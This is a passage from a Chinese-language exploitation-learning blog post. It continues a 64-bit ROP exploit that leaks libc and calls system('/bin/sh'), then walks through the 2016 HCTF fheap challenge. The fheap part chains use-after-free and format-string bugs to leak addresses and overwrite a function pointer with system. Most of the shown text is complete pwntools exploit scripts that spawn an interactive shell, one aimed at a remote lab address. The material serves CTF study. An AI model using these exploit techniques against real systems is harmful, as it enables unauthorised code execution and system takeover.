  54. sleep(1)

  56. write_addr = u64(p.recv(8))
  57. print("[+] write_addr = 0x%x" % write_addr)

  59. write_static = libc_elf.symbols['write']
  60. system_static = libc_elf.symbols['system']

  62. system_addr = write_addr - (write_static - system_static)
  63. print("[+] system_addr = 0x%x" % system_addr)

  65. """
  66.   [26] .bss              NOBITS           0000000000601040  00001040
  67.        0000000000000008  0000000000000000  WA       0     0     1
  68. """
  69. bss_addr = 0x0000000000601040
  70. bss_addr2 = linux_x64_test3_elf.bss()
  71. print("[+] bss_addr  = 0x%x" % bss_addr)
  72. print("[+] bss_addr2 = 0x%x" % bss_addr2)

  74. # call got_read(rdi=0,rsi=bss_addr, rdx=16)
  75. # got_read(rdi=0,rsi=bss_addr, rdx=8)             write system
  76. # got_read(rdi=0,rsi=bss_addr+8, rdx=8)           write /bin/sh
  77. # rdi=r15d=param1  rsi=r14=param2 rdx=r13=param3  r12=call_address

  79. payload2 = "A"*136 + p64(pop_rbx_rbp_r12_r13_r14_r15_ret)    # ret address  : p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
  80. payload2 += p64(0)+ p64(1)                                   # rbx=0 rbp=1  : p64(0)+ p64(1)
  81. payload2 += p64(got_read)                                    # call_address : got_read
  82. payload2 += p64(16)                                          # param3       : 16
  83. payload2 += p64(bss_addr)                                    # param2       : bss_addr
  84. payload2 += p64(0)                                           # param1       : 0

  86. payload2 += p64(rdx_rsi_rdi_callr12_ret)                     # call r12
  87. payload2 += p64(0)*7                                         # add    $0x8,%rsp   6 pop
  88. payload2 += p64(main_static)

  90. p.recvuntil('Hello, World\n')

  92. print("[+] send payload2 call got_read(rdi=0,rsi=bss_addr, rdx=16)")

  94. # raw_input()
  95. p.send(payload2)
  96. # raw_input()

  98. p.send(p64(system_addr) + "/bin/sh\0")  #send /bin/sh\0
  99. """
  100. 00000000:00601040|00007f111b941390|........|
  101. 00000000:00601048|0068732f6e69622f|/bin/sh.|
  102. """
  103. sleep(1)
  104. p.recvuntil('Hello, World\n')

  106. # call bss_addr(rdi=bss_addr+8) system_addr(rdi=binsh_addr)
  107. # rdi=r15d=param1  rsi=r14=param2 rdx=r13=param3  r12=call_address

  109. payload3 ="A"*136 + p64(pop_rbx_rbp_r12_r13_r14_r15_ret)     # ret address  : p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
  110. payload3 += p64(0)+ p64(1)                                   # rbx=0 rbp=1  : p64(0)+ p64(1)
  111. payload3 += p64(bss_addr)                                    # call_address : bss_addr
  112. payload3 += p64(0)                                           # param3       : 0
  113. payload3 += p64(0)                                           # param2       : 0
  114. payload3 += p64(bss_addr+8)                                  # param1       : bss_addr+8

  116. payload3 += p64(rdx_rsi_rdi_callr12_ret)        # call r12
  117. payload3 += p64(0)*7                            # add $0x8,%rsp   6 pop
  118. payload3 += p64(main_static)

  120. print("[+] send payload3 call system_addr(rdi=binsh_addr)")
  121. p.send(payload3)
  122. p.interactive()
复制代码


实践4_释放后使用（Use-After-Free）学习
用 2016HCTF_fheap作为学习目标，该题存在格式化字符漏洞和UAF漏洞。格式化字符串函数可以接受可变数量的参数，并将第一个参数作为格式化字符串，根据其来解析之后的参数。格式化字符漏洞是控制第一个参数可能导致任意地址读写。释放后使用（Use-After-Free）漏洞是内存块被释放后，其对应的指针没有被设置为 NULL,再次申请内存块特殊改写内存导致任意地址读或劫持控制流。
分析程序
checksec查询发现全开了

  2. Arch:     amd64-64-little
  3.     RELRO:    Partial RELRO
  4.     Stack:    Canary found
  5.     NX:       NX enabled
  6.     PIE:      PIE enabled
复制代码

程序很简单就3个操作，create,delete,quit
微信图片_20200913135557.jpg
漏洞点
在delete操作上发现调用free指针函数释放结构后没有置结构指针为NULL,这样就能实现UAF， 如下图
微信图片_20200913135601.jpg
create功能会先申请0x20字节的内存堆块存储结构，如果输入的字符串长度大于0xf，则另外申请指定长度的空间存储数据，否则存储在之前申请的0x20字节的前16字节处，在最后，会将相关free函数的地址存储在堆存储结构的后八字节处
微信图片_20200913135605.jpg
在create时全局结构指向我们申请的内存
微信图片_20200913135608.jpg
这样就可以恶意构造结构数据,利用uaf覆盖旧数据结果的函数指针，打印出函数地址，泄露出二进制base基址，主要逻辑如下:

  2. create(4 创建old_chunk0 但是程序占位 old_chunk0_size=0x30 申请0x20
  3. create(4 创建old_chunk1 但是程序占位 old_chunk1_size=0x30 申请0x20
  4. 释放chunk1
  5. 释放chunk0
  6. create(0x20 创建 chunk0 占位 old_chunk0,占位 old_chunk1
  7.             创建 chunk1 覆盖 old_chunk1->data->free 为 puts
复制代码

此时执行delete操作，也就执行了

  2. free(ptr) -> puts(ptr->buffer和后面覆盖的puts地址)
复制代码

打印出了puts_addr地址，然后通过计算偏移得到二进制基址,如下:

  2. bin_base_addr = puts_addr - offset
复制代码

然后利用二进制基址算出二进制自带的 printf 真实地址，再次利用格式化字符漏洞实现任意地址读写。如下是得到printf 真实地址 printf_addr后利用格式化字符漏洞实现任意地址读写的测试过程，我们输出10个%p 也就打印了堆栈前几个数据值。然后找到了 arg9 为我们能够控制的数据，所以利用脚本里printf输出参数变成了 “%9$p”，读取第九个参数。

  2. delete(0)
  3. payload = 'a%p%p%p%p%p%p%p%p%p%p'.ljust(0x18, '#') + p64(printf_addr)  # 覆盖chunk1的 free函数-> printf
  4. create(0x20, payload)
  5. p.recvuntil("quit")
  6. p.send("delete ")
  7. p.recvuntil("id:")
  8. p.send(str(1) + '\n')
  9. p.recvuntil("?:")
  10. p.send("yes.1111" + p64(addr) + "\n")  # 触发 printf漏洞

  12. p.recvuntil('a')
  13. data = p.recvuntil('####')[:-4]
复制代码

IDA调试时内存数据为如下:

  2. 0000560DFCD3C000  00 00 00 00 00 00 00 00  31 00 00 00 00 00 00 00  ........1.......
  3. 0000560DFCD3C010  40 C0 D3 FC 0D 56 00 00  00 00 00 00 00 00 00 00  @....V..........
  4. 0000560DFCD3C020  1E 00 00 00 00 00 00 00  6C CD 7C FB 0D 56 00 00  ........l....V..
  5. 0000560DFCD3C030  00 00 00 00 00 00 00 00  31 00 00 00 00 00 00 00  ........1.......
  6. 0000560DFCD3C040  61 25 70 25 70 25 70 25  70 25 70 25 70 25 70 25  a%p%p%p%p%p%p%p%
  7. 0000560DFCD3C050  70 25 70 25 70 23 23 23  D0 C9 7C FB 0D 56 00 00  p%p%p###..|..V..

  9. 00007FFE50BF9630  00 00 00 00 00 00 00 00  00 00 00 00 01 00 00 00  ................
  10. 00007FFE50BF9640  79 65 73 2E 31 31 31 31  00 60 8C 2B 45 56 00 00  yes.1111.`.+EV..

  12. 00007FFCA59554F8  0000560DFB7CCE95  delete_sub_D95+100
  13. 00007FFCA5955500  0000000000000000
  14. 00007FFCA5955508  0000000100000000  arg7
  15. 00007FFCA5955510  313131312E736579  arg8
  16. 00007FFCA5955518  0000560DFB7CC000  LOAD:0000560DFB7CC000 # arg9 读取这个 arg9  所以这里选择 %9$s
  17. 00007FFCA5955520  000000000000000A
  18. 00007FFCA5955528  0000560DFB7CCA50  start
  19. 00007FFCA5955530  00007FFCA5955D90  [stack]:00007FFCA5955D90
复制代码

利用格式化字符串漏洞实现任意地址后，读取两个libc函数然后确定libc版本,获取对应libc版本的system_addr
最终利用

  2. #!/usr/bin/python
  3. # -*- coding: UTF-8 -*-

  5. from pwn import *

  7. context.log_level = 'debug'
  8. # target = process('pwn-f')
  9. p = remote('172.16.36.176', 10003)

  11. elf = ELF("./pwn-f")
  12. libc_elf = ELF("./libc-2.23.so")
  13. def create(size, string):
  14.     p.recvuntil('3.quit')
  15.     p.sendline('create ')
  16.     p.recvuntil('size:')
  17.     p.sendline(str(size))
  18.     p.recvuntil('str:')
  19.     p.send(string)

  21. def delete(id):
  22.     p.recvuntil('3.quit')
  23.     p.sendline('delete ')
  24.     p.recvuntil('id:')
  25.     p.sendline(str(id))
  26.     p.recvuntil('sure?:')
  27.     p.sendline('yes')

  29. def leak(addr):
  30.     global printf_addr

  32.     delete(0)
  33.     payload = 'a%9$s'.ljust(0x18,'#') + p64(printf_addr) #覆盖chunk1的 free函数-> printf
  34.     create(0x20,payload)
  35.     p.recvuntil("quit")
  36.     p.send("delete ")
  37.     p.recvuntil("id:")
  38.     p.send(str(1)+'\n')
  39.     p.recvuntil("?:")
  40.     p.send("yes.1111"+p64(addr)+"\n") # 触发 printf漏洞
  41.     p.recvuntil('a')
  42.     data = p.recvuntil('####')[:-4]
  43.     if len(data) == 0:
  44.         return '\x00'
  45.     if len(data) <= 8:
  46.         log.info("{}".format(hex(u64(data.ljust(8,'\x00')))))
  47.     return data

  49. def main():
  50.     global printf_addr
  51.     #step 1 create & delete
  52.     create(4,'aaaa')
  53.     create(4,'bbbb')
  54.     delete(1)
  55.     delete(0)

  57.     #step 2 recover old function addr
  58.     pwn = ELF('./pwn-f')
  59.     payload = "aaaaaaaa".ljust(0x18,'b')+'\x2d'#  recover low bits,the reason why i choose \x2d is that the system flow decide by
  60.     create(0x20,payload) # 申请大于0xf的内存会多申请一次 占位chunk0 和 chunk1,申请的内容覆盖 chunk1->

  62.     #调用的是之前留下的chunk1 然后被覆盖
  63.     delete(1) # call free -> call _puts

  65.     #step 3 leak base addr
  66.     p.recvuntil('b'*0x10)
  67.     data = p.recvuntil('\n')[:-1]
  68.     if len(data)>8:
  69.         data=data[:8]
  70.     data = u64(data.ljust(0x8,'\x00'))# leaked puts address use it to calc base addr
  71.     pwn_base_addr = data - 0xd2d # 减去二进制base

  73.     log.info("pwn_base_addr : {}".format(hex(pwn_base_addr))) # 找到了plt表的基地址，下面就是对于格式化字符串的利用

  75.     # free -> printf
  76.     # 我们首先create字符串调用delete 此时freeshort地址变成了printf，可以控制打印
  77.     #step 4 get printf func addr
  78.     printf_plt = pwn.plt['printf']
  79.     printf_addr = pwn_base_addr + printf_plt #get real printf addr

  81.     log.info("printf_addr : {}".format(hex(printf_addr)))

  83.     delete(0)

  85.     #step 5 leak system addr
  86.     create(0x20,payload)  # 继续调用 free  -> puts
  87.     delete(1) #this one can not be ignore because DynELF use the delete() at begin

  89.     # 泄露malloc_addr
  90.     delete(0)
  91.     payload = 'a%9$s'.ljust(0x18,'#') + p64(printf_addr) #覆盖chunk1的 free函数-> printf
  92.     create(0x20,payload)
  93.     p.recvuntil("quit")
  94.     p.send("delete ")
  95.     p.recvuntil("id:")
  96.     p.send(str(1)+'\n')
  97.     p.recvuntil("?:")
  98.     p.send("yes.1111"+p64(elf.got["malloc"] + pwn_base_addr)+"\n") # 触发 printf漏洞
  99.     p.recvuntil('a')
  100.     data = p.recvuntil('####')[:-4]

  102.     malloc_addr = u64(data.ljust(8,"\x00"))
  103.     log.info("malloc_addr : {}".format(hex(malloc_addr)))

  105.     # 泄露 puts_addr
  106.     delete(0)
  107.     payload = 'a%9$s'.ljust(0x18,'#') + p64(printf_addr) #覆盖chunk1的 free函数-> printf
  108.     create(0x20,payload)
  109.     p.recvuntil("quit")
  110.     p.send("delete ")
  111.     p.recvuntil("id:")
  112.     p.send(str(1)+'\n')
  113.     p.recvuntil("?:")
  114.     p.send("yes.1111"+p64(elf.got["puts"] + pwn_base_addr)+"\n") # 触发 printf漏洞
  115.     p.recvuntil('a')
  116.     data = p.recvuntil('####')[:-4]

  118.     puts_addr = u64(data.ljust(8,"\x00"))
  119.     log.info("puts_addr : {}".format(hex(puts_addr)))

  121.     # 通过两个libc函数计算libc ,确定system_addr
  122.     from LibcSearcher import *
  123.     obj = LibcSearcher("puts", puts_addr)
  124.     obj.add_condition("malloc", malloc_addr)
  125.     # obj.selectin_id(3)

  127.     libc_base = malloc_addr-obj.dump("malloc")
  128.     system_addr = obj.dump("system")+libc_base  # system 偏移

  130.     log.info("system_addr : {}".format(hex(system_addr))) # 找到了plt表的基地址，下面就是对于格式化字符串的利用

  132.     #step 6 recover old function to system then get shell
  133.     delete(0)
  134.     create(0x20,'/bin/bash;'.ljust(0x18,'#')+p64(system_addr)) # attention /bin/bash; i don`t not why add the ';'
  135.     delete(1)
  136.     p.interactive()
  137. if __name__ == '__main__':
  138.     main()
复制代码


总结
通过这些入门pwn知识的学习，对栈溢出,堆溢出,uaf的利用会有清晰的理解。对以后分析真实利用场景漏洞有很大的帮助。利用脚本尽量做的通用，考虑多个平台。那么分析利用有了，对于漏洞挖掘这方面又是新的一个课题，对于这方面的探索将另外写文章分析。



赞 收藏 评论0 发布时间：2020-9-13 14:01

举报

0个回答

所属标签

关于
意法半导体
我们是谁
投资者关系
意法半导体可持续发展举措
创新与技术
意法半导体官网
联系我们
联系ST分支机构
寻找销售人员和分销渠道
社区
媒体中心
活动与培训
隐私策略
隐私策略
Cookies管理
行使您的权利
官方最新发布
STM32N6 AI生态系统
STM32MCU,MPU高性能GUI
ST ACEPACK电源模块
意法半导体生物传感器
STM32Cube扩展软件包
关注我们
st-img 微信公众号
st-img 手机版